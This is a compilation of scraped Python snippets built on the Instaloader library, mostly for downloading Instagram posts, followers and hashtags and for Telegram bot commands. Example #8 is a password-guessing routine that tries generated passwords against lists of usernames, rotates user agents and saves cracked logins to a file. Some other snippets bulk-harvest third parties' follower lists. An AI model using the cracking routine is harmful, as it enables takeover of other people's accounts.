Пример #1
0
    def showDialog5(self):
        # finding the content of current item in combo box
        content = self.combo_box3.currentText()
        if content=="Top 5":
            text, ok = QInputDialog.getText(self, 'Input Dialog',
                                        'Der Instagram Name:')
                      
            if ok:
               
                PROFILE = text
            
            L = Instaloader(save_metadata=True, compress_json=False, download_video_thumbnails=False, download_comments=False, post_metadata_txt_pattern="{likes}")
            
            profile = Profile.from_username(L.context, PROFILE)

            posts_sorted_by_likes = sorted(profile.get_posts(), key=lambda post: post.likes, reverse=False)

            for post in islice(posts_sorted_by_likes, ceil(5)):
                L.download_post(post, PROFILE)   

        if content=="Top 10":
            text, ok = QInputDialog.getText(self, 'Input Dialog',
                                        'Der Instagram Name:')
                      
            if ok:
                
                PROFILE = text

            L = Instaloader(save_metadata=True, compress_json=False, download_video_thumbnails=False, download_comments=False, post_metadata_txt_pattern="{likes}")

            profile = Profile.from_username(L.context, PROFILE)

            posts_sorted_by_likes = sorted(profile.get_posts(), key=lambda post: post.likes, reverse=False)

            for post in islice(posts_sorted_by_likes, ceil(10)):
                L.download_post(post, PROFILE)  

        if content=="Alle":
            text, ok = QInputDialog.getText(self, 'Input Dialog',
                                        'Der Instagram Name:')
                      
            if ok:
                
                PROFILE = text

            L = Instaloader(save_metadata=True, compress_json=False, download_video_thumbnails=False, download_comments=False, post_metadata_txt_pattern="{likes}")

            profile = Profile.from_username(L.context, PROFILE)

            posts_sorted_by_likes = sorted(profile.get_posts(), key=lambda post: post.likes, reverse=False)

            for post in islice(posts_sorted_by_likes, ceil(99999999999999)):
                L.download_post(post, PROFILE)              
Пример #2
0
    def download_followers(self):
        """
        Itera sobre a lista de perfis que devem ter a lista de seguidores baixada,
        realiza o download e armazena na pasta da coleta.
        """
        L = Instaloader()
        try:
            L.login(user=self.credentials["user"],
                    passwd=self.credentials["passwd"])

            for user in self.users_list:

                profile = Profile.from_username(L.context, user)
                if self.followers_max == None:  #se nao for dado valor maximo, coleta todos os seguidores
                    self.followers_max = profile.followers
                print(
                    "Downloading " + str(self.followers_max) +
                    " followers of: ", user)
                with open(
                        self.path + str(user) + "/followers_" + str(user) +
                        ".json", "w") as f:
                    counter = 0
                    for follower in profile.get_followers():
                        if counter == self.followers_max:
                            break

                        f.write("{\"usuario\":\"" + str(user) +
                                "\",\"follower\":\"" + str(follower.username) +
                                "\"}\n")
                        counter = counter + 1
        except Exception as e:
            print(e)
Пример #3
0
async def _insta_post_downloader(message):
    """ download instagram post """
    omess = await message.get_reply_message()
    if omess is None:
        await message.reply("Reply to a Instagram Link.")
        return
    message = await message.reply('`Setting up Configs. Please don\'t flood.`')
    dirname = 'instadl_{target}'
    filename = '{target}\'s_post'
    insta = Instaloader(dirname_pattern=dirname,
                        filename_pattern=filename,
                        download_video_thumbnails=False,
                        download_geotags=False,
                        download_comments=False,
                        save_metadata=False,
                        compress_json=False)
    if False:
        # add auth code here
        pass
    else:
        await message.edit('Login Credentials not found.\n`[NOTE]`: '
                           '**Private stuff will not be downloaded**')
        await asyncio.sleep(2)

    p = r'^https:\/\/www\.instagram\.com\/(p|tv|reel)\/([A-Za-z0-9\-_]*)\/(\?igshid=[a-zA-Z0-9]*)?$'
    match = re.search(p, omess.raw_text)
    print(omess.raw_text)
    if False:
        # have plans here
        pass
    elif match:
        dtypes = {'p': 'POST', 'tv': 'IGTV', 'reel': 'REELS'}
        d_t = dtypes.get(match.group(1))
        if not d_t:
            await message.edit('Unsupported Format')
            return
        sent = await message.edit(f'`Fetching {d_t} Content.`')
        shortcode = match.group(2)
        post = get_post(insta, shortcode)
        try:
            download_post(insta, post)
            await upload_to_tg(message,
                               dirname.format(target=post.owner_username),
                               post,
                               sender_id=omess.sender_id)
        except (KeyError, LoginRequiredException):
            await message.edit("Post is private. Cant Download")
            return
        except FloodWaitError as f_w:
            await asyncio.sleep(f_w.seconds + 5)
            await upload_to_tg(message,
                               dirname.format(target=post.owner_username),
                               post,
                               sender_id=omess.sender_id)
        finally:
            shutil.rmtree(dirname.format(target=post.owner_username),
                          ignore_errors=True)

    else:
        await message.edit('`Invalid Link that you provided`')
Пример #4
0
def get_posts_by_username(username, size=(0, 50)):
    L = Instaloader(download_pictures=False,
                    download_comments=False,
                    compress_json=False,
                    download_videos=False,
                    download_geotags=False)
    try:
        profile = Profile.from_username(L.context, username)
    except Exception:
        return {'status': 'bad'}

    response_ans = []
    posts_list = list(profile.get_posts())
    owner = None
    for post in posts_list[size[0]:size[1]]:
        L.download_post(post, target=profile.username)
        with open(glob.glob(profile.username + "/*.json")[0]) as json_file:
            super_dict = json.load(json_file)
            post_info = {}
            post_info['code'] = super_dict['node']['shortcode']
            post_info['img'] = super_dict['node']['display_url']
            owner = super_dict['node']['owner']
            response_ans.append(post_info)
        shutil.rmtree(profile.username)

    return {'list': response_ans, 'status': 'ok', 'owner': owner}
Пример #5
0
    def __init__(self,
                 username: str,
                 password: str = None,
                 ToP_n_most_recent: int = 9,
                 feedmatch: bool = True,
                 FM_n_most_recent: int = 9,
                 pixel_count_perimage: int = 20000,
                 Eng_n_most_recent: int = 9):
        """
        Constructor

        :param username: Instagram username
        :param password: Instagram password (required for private accounts)
        :param ToP_n_most_recent: how many recent posts to consider for time of post data
        :param feedmatch: whether or not to include feedmatch processing in this instance
        :param FM_n_most_recent: n most recent photos to consider for feed matching
        :param pixel_count_perimage: how many pixels to process per image
        """
        self.username = username
        self.__IL_instance = Instaloader()
        self.logged_in = False

        if password is not None:
            try:
                self.__IL_instance.login(self.username, password)
                self.logged_in = True
            except TwoFactorAuthRequiredException:
                print("Suggested solution: turn off Two-Factor Authentication before using this package.")
        self.profile = Profile.from_username(self.__IL_instance.context, self.username)
        if self.profile.is_private and password is None:
            raise LoginRequiredException("Password field required for private profiles.")

        num_posts = max([ToP_n_most_recent, FM_n_most_recent, Eng_n_most_recent])
        self.__posts = []
        try:
            p = self.profile.get_posts()
            for post in p:
                if num_posts == 0:
                    break
                else:
                    self.__posts.append(post)
                    if not post.is_video:
                        num_posts -= 1
        except IndexError:
            raise IndexError("Profile must contain posts.")
        if len(self.__posts) == 0:
            raise ValueError("Profile contains no posts")

        self.__photo_posts = []
        for post in self.__posts:
            if not post.is_video:
                self.__photo_posts.append(post)

        self.top = TimeOfPost(self.__posts[:ToP_n_most_recent])

        if feedmatch:
            self.feedmatch = FeedMatch(posts=self.__photo_posts[:FM_n_most_recent],
                                       pixel_count=pixel_count_perimage)

        self.engagement = Engagement(self.profile, posts=self.__posts[:Eng_n_most_recent])
Пример #6
0
def load_photo_from_post(short_code):
    L = Instaloader(download_pictures=False,
                    download_comments=False,
                    compress_json=False,
                    download_videos=True)
    try:
        post = Post.from_shortcode(L.context, short_code)
    except Exception:
        return {'status': 'bad'}
    L.download_post(post, target=short_code)

    super_json = glob.glob(short_code + '/*.json')[0]

    response = {}
    super_dict = json.loads(open(super_json).read())

    if 'edge_sidecar_to_children' in super_dict['node']:
        response['img'] = []
        for i in super_dict['node']['edge_sidecar_to_children']['edges']:
            response['img'].append(i['node']['display_resources'])
    else:
        response['img'] = [super_dict['node']['display_resources']]

    response['owner'] = super_dict['node']['owner']
    response['status'] = 'ok'
    shutil.rmtree(short_code)
    return response
Пример #7
0
    def download_hashtags(self):
        """
      Método que realiza o download de hashtags especificadas na entrada
      """
        L = Instaloader()
        for hs in self.hashtags_list:
            try:
                hashtag = Hashtag.from_name(L.context, hs)
                post_counter = 0
                for post in hashtag.get_posts():
                    L.download_post(post, target=hashtag.name)
                    post_counter = post_counter + 1
                    if self.hashtags_max != None:
                        if post_counter == self.hashtags_max:
                            break
                print("Downloaded ", post_counter, " from ", hashtag.name)
            except Exception as e:
                print("Nao foi possivel baixar todos os posts da tag: ", hs)
                print("Dica: Tente coletar menos posts por hashtag")
                print(e)

        for hs in self.hashtags_list:
            try:
                os.rename(hs, self._get_path() + hs)
            except Exception as e:
                print("Erro ao mover arquivos da hashtag: ", hs)
                print(e)
Пример #8
0
def crack(i):
    usernames = open(i, "r").read().splitlines()
    idx = 0
    for user in usernames:
        idx += 1
        passwords = generatePassword(user)
        print("[ %d ] Trying: %s" % (idx, user))
        for pasw in passwords:
            print("[!] Try password " + pasw)
            try:
                ua = randomUA()
                print("[!] Set User Agent ~> " + ua)
                L = Instaloader(user_agent=ua, sleep=True)
                L.login(user, pasw)
                saved = open("logins.txt", "a")
                saved.write(user + ":" + pasw + "\n")
                saved.close()
                print(green_color + "[+] Login success " + pasw + normal_color)
                break
            except exceptions.BadCredentialsException as Bad:
                print(red_color + "[-] Unknown password " + pasw +
                      normal_color)
            except exceptions.TwoFactorAuthRequiredException:
                print("[-] Privated " + pasw)
            except exceptions.ConnectionException as e:
                time.sleep(60)
                print("[!] Wait 1 minute")
            except exceptions.InvalidArgumentException:
                print("[-] Username not found")
                break
        print("-" * 50)
Пример #9
0
    def get_follow_list(self,
                        username=None,
                        which_list="following",
                        amount=None):
        """
        Get the complete list or a specific amount of followers or followees of
        a user using instaloader package.
        """

        # Interesting to measure how long a list takes to be retrieved
        t_start = datetime.datetime.now()
        L = Instaloader()
        L.login(self.username, self.password)

        if username is None:
            username = self.username

        profile = Profile.from_username(L.context, username)

        if which_list == "following":
            follow_node = profile.get_followees()
        elif which_list == "followers":
            follow_node = profile.get_followers()

        follow = [f.username for f in follow_node]
        if amount:
            follow = random.sample(follow, amount)

        t_end = datetime.datetime.now()
        elapsed = (t_end - t_start).total_seconds()
        print(f"It took {elapsed} seconds to retrieve the list "
              f"of {len(follow)} {which_list}\n" + "-" * 50)

        return follow
Пример #10
0
def feed(update, context):
    fullmsg = update.message.text

    if fullmsg == "/feed":
        update.message.reply_text(
            '/feed [instagram username]\nPlease read /help')
    else:
        msg = fullmsg.replace("/feed ", "")

        if "@" in msg.lower():
            query = msg.replace("@", "")
        else:
            query = msg

    L = Instaloader(dirname_pattern=query,
                    download_comments=False,
                    download_video_thumbnails=False,
                    save_metadata=False,
                    download_geotags=True,
                    compress_json=True,
                    post_metadata_txt_pattern=None,
                    storyitem_metadata_txt_pattern=None)
    profile = Profile.from_username(L.context, query)

    media = profile.mediacount
    update.message.reply_text(
        "Cooking your request 👨‍🍳\nProfile : " + query + "\nMedia Count : " +
        str(media) +
        "\nThis may take longer, take a nap I can handle this without you.")

    posts = profile.get_posts()
    try:
        L.posts_download_loop(posts, query)
    except Exception as e:
        context.bot.send_message(chat_id=update.message.chat_id,
                                 text="<b>ERROR\n" + str(e),
                                 parse_mode=telegram.ParseMode.HTML)
        return

    update.message.reply_text("Download Completed.\n🗄 Archiving files...")

    zf = zipfile.ZipFile(f"{query}.zip", "w")
    for dirname, subdirs, files in os.walk(query):
        zf.write(query)
        for filename in files:
            zf.write(os.path.join(dirname, filename))
    zf.close()

    update.message.reply_text("Uploading to Telegram...")

    for zip_file in glob.glob("*.zip"):
        context.bot.send_document(chat_id=update.message.chat_id,
                                  document=open(zip_file, 'rb'))

    try:
        shutil.rmtree(query)
        os.remove(f"{query}.zip")
    except Exception:
        pass
Пример #11
0
 def __init__(self):
     loader = Instaloader(download_pictures=False,
                          download_video_thumbnails=False,
                          download_videos=False,
                          compress_json=False,
                          sleep=True)
     # loader.login(insta_username, insta_password)
     self.connection = MongoHandler()
def get_instance():
    scraper = Instaloader(compress_json=False,
                          download_pictures=False,
                          download_videos=False,
                          download_video_thumbnails=False,
                          max_connection_attempts=0)

    return scraper
Пример #13
0
def get_loader(username, password, quiet=False):
    loader = Instaloader(quiet=quiet,
                         download_videos=False,
                         download_comments=False,
                         download_geotags=False,
                         download_video_thumbnails=False)
    loader.login(username, password)
    return loader
Пример #14
0
def indir():
    try:
        loader = Instaloader()
        loader.download_profile(subject.get(), profile_pic_only=True)
    except:
        messagebox.showerror(
            "Error!",
            "Bu kullanıcı zaten kaydedilmiş olabilir veya düzgün bir kullanıcı adı giriniz"
        )
def download_photos(username):
    L = Instaloader(download_videos = False, download_video_thumbnails = False, download_comments = False, compress_json = False, dirname_pattern = "../Data/Photos/{target}")

    posts = []
    with open("../Data/Posts_list/" + username + ".json") as f:
        posts = json.load(f)

    for post in posts:
        post = Post.from_shortcode(L.context, post)
        L.download_post(post, username)
Пример #16
0
def igtv(update, context):
    user = context.bot.get_chat_member(
        chat_id='-1001225141087', user_id=update.message.chat_id)
    status = user["status"]
    if(status == 'left'):
        context.bot.send_message(chat_id=update.message.chat_id,
                                 text="To use to bot you need to be a member of @MBNUpdates in order to stay updated with the latest developments.")
        return
    else:
        fullmsg = update.message.text

        if fullmsg == "/igtv":
            update.message.reply_text(
                '/igtv [instagram username]\nPlease read /help')
        else:
            msg = fullmsg.replace("/igtv ", "")

            if "@" in msg.lower():
                query = msg.replace("@", "")
            else:
                query = msg

        L = Instaloader(dirname_pattern=query, download_comments=False,
                        download_video_thumbnails=False, save_metadata=False, download_geotags=True, compress_json=True, post_metadata_txt_pattern=None, storyitem_metadata_txt_pattern=None)

        profile = Profile.from_username(L.context, query)

        igtv_count = profile.igtvcount

        posts = profile.get_igtv_posts()

        update.message.reply_text("Cooking your request 👨‍🍳\nProfile : " + query + "\nIGTV Video Count : " + str(
            igtv_count) + "\nThis may take longer, take a nap I can handle this without you.")

        try:
            L.posts_download_loop(posts, query)
        except Exception as e:
            context.bot.send_message(chat_id=update.message.chat_id, text="<b>ERROR</b>\n"+str(
                e), parse_mode=telegram.ParseMode.HTML)
            return

        src_dir = query

        for vidfile in glob.iglob(os.path.join(src_dir, "*.mp4")):
            context.bot.send_video(
                chat_id=update.message.chat_id, video=open(vidfile, 'rb'))

        bot.send_message(
            text="Thanks for using @xIGDLBot\nPlease /donate to keep this service alive!", chat_id=update.message.chat_id)

        try:
            shutil.rmtree(query)
        except Exception:
            pass
Пример #17
0
    def download(self):
        for profile in self.sources:
            loader = Instaloader()
            loader.dirname_pattern = f"../Media/{self.username}/"
            self.configure(loader)

            profile = Profile.from_username(loader.context, profile)
            posts_sorted_by_likes = sorted(profile.get_posts(), key=lambda p: p.likes)

            for post in islice(posts_sorted_by_likes, ceil(profile.mediacount * self.percentage / 100)):
                loader.download_post(post, profile)
Пример #18
0
def scrape_artists_from_file(filename_artists: Union[Path, str], save_path: Union[Path, str],
                             delimiter: str = ',', max_posts: int = 50) -> None:
    """Scrapes specific artists specified in csv file and save to data directory

    Args
    ----------
    filename_artists : csvfile with all the artists instagram profile names
    save_path : save path for downloaded images and comments
    delimiter : delimiter for csv file
    max_posts : maximum posts allowed

    Returns
    -------
    None

    """
    # Load artists instagram handles from file
    with open(path_scripts / filename_artists) as csvfile:
        artist_reader = csv.reader(csvfile, delimiter=delimiter)
        # (# at beginning of artist name means artist already dl'ed)
        artist_names = [artist[0]
                        for artist in artist_reader if artist[0][0] != '#']

    # save current working directory and change to desired save directory since can't be specified
    # in instaloader
    cur_wd = os.getcwd()
    if not os.path.exists(save_path):
        os.makedirs(save_path)
    os.chdir(save_path)
    print(save_path)

    # Setup the scraper and only download images, tags, and text from posts
    insta_sess = Instaloader(quiet=True, download_comments=False, download_pictures=True,
                             download_videos=False, download_video_thumbnails=False,
                             download_geotags=False)
    # login using load session file by running: instaloader -l username from command line and
    # inputting password
    insta_user, insta_pass = get_insta_creds(path_scripts / ".insta-credentials")
    insta_sess.login(insta_user, insta_pass)
    # insta_sess.load_session_from_file("Mspencer02")

    # loop through instagram handles downloading `max_posts` posts from each
    for insta_handle in artist_names:
        print("Starting to download profile: " + insta_handle)
        # Catches the error in case the artist profile doesn't exist anymore
        try:
            scrape_instagram_profile_posts(insta_sess, insta_handle, max_posts)
        except (ProfileNotExistsException, ConnectionException):
            print("Profile " + insta_handle + " doesn't exist.")
        # sleeps after each download of an artist for 1 to 3 minutes
        time.sleep(1 * 60 + random.random() * 120)

    # Change current working directory back to original working directory
    os.chdir(cur_wd)
def get_posts(username):
    loader = Instaloader()
    profile = Profile.from_username(loader.context, username)
    posts = profile.get_posts()

    return [ {
        'likes': a.likes,
        'url': a.url,
        'is_video': a.is_video,
        'caption': a.caption,
    } for a in posts ], profile
Пример #20
0
def igtv(update, context):
    fullmsg = update.message.text

    if fullmsg == "/igtv":
        update.message.reply_text(
            '/igtv [instagram username]\nPlease read /help')
    else:
        msg = fullmsg.replace("/igtv ", "")

        if "@" in msg.lower():
            query = msg.replace("@", "")
        else:
            query = msg

    L = Instaloader(dirname_pattern=query,
                    download_comments=False,
                    download_video_thumbnails=False,
                    save_metadata=False,
                    download_geotags=True,
                    compress_json=True,
                    post_metadata_txt_pattern=None,
                    storyitem_metadata_txt_pattern=None)

    profile = Profile.from_username(L.context, query)

    igtv_count = profile.igtvcount

    posts = profile.get_igtv_posts()

    update.message.reply_text(
        "Cooking your request 👨‍🍳\nProfile : " + query +
        "\nIGTV Video Count : " + str(igtv_count) +
        "\nThis may take longer, take a nap I can handle this without you.")

    try:
        L.posts_download_loop(posts, query)
    except Exception as e:
        context.bot.send_message(chat_id=update.message.chat_id,
                                 text="<b>ERROR ò_ô</b>\n" + str(e),
                                 parse_mode=telegram.ParseMode.HTML)
        return

    src_dir = query

    for vidfile in glob.iglob(os.path.join(src_dir, "*.mp4")):
        context.bot.send_video(chat_id=update.message.chat_id,
                               video=open(vidfile, 'rb'))

    try:
        shutil.rmtree(query)
    except Exception:
        pass
Пример #21
0
    def __init__(self,
                 username: str,
                 password: str,
                 loader_kwargs: dict = None,
                 **kwargs):
        self.session_file = kwargs.get('session_path',
                                       f'./{username}_session.pickle')

        self.loader = Instaloader(**(loader_kwargs or dict()))
        self.context = self.loader.context
        safe_login(self.loader, username, password, self.session_file)
        self.insta = TlaskyInsta(self.loader)
        self.logger = self.insta.logger
        self.scheduler = Scheduler()
 def show_image(self, obj):
     instaloader = Instaloader()
     username = self.user.text
     instaloader.download_profile(username, profile_pic_only=True)
     filename = glob(str(username + "/*jpg"))
     img_data = str(filename[0])
     image = Image(source=img_data,
                   pos_hint={
                       "center_x": 0.5,
                       "center_y": 0.3
                   },
                   size_hint=(0.5, 1))
     image.remove_widget(image)
     self.screen.add_widget(image)
Пример #23
0
async def IGSnipe(ctx, User):
    url1 = "https://www.instagram.com/" + str(User)
    L = Instaloader()
    profile = Profile.from_username(L.context, User)
    followers = profile.followers
    PFP = profile.profile_pic_url
    followees = profile.followees
    bio = profile.biography
    embed = discord.Embed(title=User + " on Instagram | " + str(followers) +
                          " Total followers" + " | Follows " + str(followees),
                          description=bio,
                          color=0xdedede,
                          url=url1)
    embed.set_thumbnail(url=PFP)
    await ctx.send(embed=embed)
Пример #24
0
    def __init__(self, username, password, database_address):
        self.links_in_tables_of_database = [[], []]
        self.tables_name = ['followers', 'following']
        self.temp_list = [[], []]

        self.db_address = database_address
        self.username = username
        self.password = password

        self.connenction = sqlite3.connect(self.db_address)
        self.cursor = self.connenction.cursor()

        self.loader = Instaloader()
        self.profile = Profile.from_username(self.loader.context,
                                             self.username)
Пример #25
0
 def __init__(self):
     self.loader = Instaloader()
     try:
         self.loader.load_session_from_file(USER, f'session-{USER}')
     except FileNotFoundError:
         self.loader.context.log(
             "Session file does not exist yet - Logging in.")
     if not self.loader.context.is_logged_in:
         try:
             self.loader.login(USER, PASSWORD)
         except TwoFactorAuthRequiredException:
             self.loader.two_factor_login(input('Code: '))
         self.loader.save_session_to_file(f'session-{USER}')
     if self.loader.context.is_logged_in:
         self.loader.context.log('Logged in.', end='\n' * 2)
Пример #26
0
def create_posts_object(profile_name, username, password):
    """
    In order to receive locations of posts we should sign into Instagram account (required by Instagram),
    otherwise locations would be None
    :param username: username;
    :param password: password;
    :param profile_name: the name of target profile;
    :return: posts object of Instaloader Profile class;
    """
    L = Instaloader()
    L.login(username, password)

    profile = Profile.from_username(L.context, profile_name)
    posts = profile.get_posts()

    return posts
Пример #27
0
    def _get_user_info_json(self, username, username_login, password):
        """
        Gera um json com informações sobre um usuário dado como parâmetro
        """
        L = Instaloader(quiet=True)
        L.load_session_from_file(username_login, filename="data/session")

        profile = Profile.from_username(L.context, username)
        profile_info = {}
        profile_info["username"] = profile.username
        profile_info["is_private"] = profile.is_private
        profile_info["mediacount"] = profile.mediacount
        profile_info["followers"] = profile.followers
        profile_info["followees"] = profile.followees
        profile_info["external_url"] = profile.external_url
        profile_info["biography"] = profile.biography
        profile_json = json.dumps(profile_info)
        return profile_json
Пример #28
0
def retrieve_posts(username, num):
    PROFILE = username  # profile to download from

    L = Instaloader(download_videos=False,
                    download_video_thumbnails=False,
                    download_comments=True)

    profile = Profile.from_username(L.context, PROFILE)

    posts = profile.get_posts()

    posts_sorted_by_comments = sorted(posts,
                                      key=lambda p: p.comments,
                                      reverse=True)

    post_shortcodes = [x.shortcode for x in posts_sorted_by_comments]

    return post_shortcodes[:num]
def import_session(cookiefile, sessionfile):
    print("Using cookies from {}.".format(cookiefile))
    conn = connect(cookiefile)
    try:
        cookie_data = conn.execute(
            "SELECT name, value FROM moz_cookies WHERE baseDomain='instagram.com'"
        )
    except OperationalError:
        cookie_data = conn.execute(
            "SELECT name, value FROM moz_cookies WHERE host LIKE '%instagram.com'"
        )
    instaloader = Instaloader(max_connection_attempts=1)
    instaloader.context._session.cookies.update(cookie_data)
    username = instaloader.test_login()
    if not username:
        raise SystemExit("Not logged in. Are you logged in successfully in Firefox?")
    print("Imported session cookie for {}.".format(username))
    instaloader.context.username = username
    instaloader.save_session_to_file(sessionfile)
Пример #30
0
def main():
	print('Loading Config...')
	with open(config_file) as data:
		config = json.load(data)

	print('Connecting to Firebase...')
	firebase_storage = connect_to_firebase(config)

	print('Connecting to Instagram...')
	instagram_instance = Instaloader()

	for section in config['accounts']:
		for handle in section['handles']:
			print('Processing account %s' % handle)
			cutoff_date = get_most_recent_post_date(firebase_storage, handle)
			print('Most recent stored post date is %s' % str(cutoff_date))
			profile_data = collect_data_for_handle(config, instagram_instance, handle, cutoff_date)
			print ('Writing profile data to Firebase')
			write_profile_to_db(config, section['category'], firebase_storage, handle, profile_data)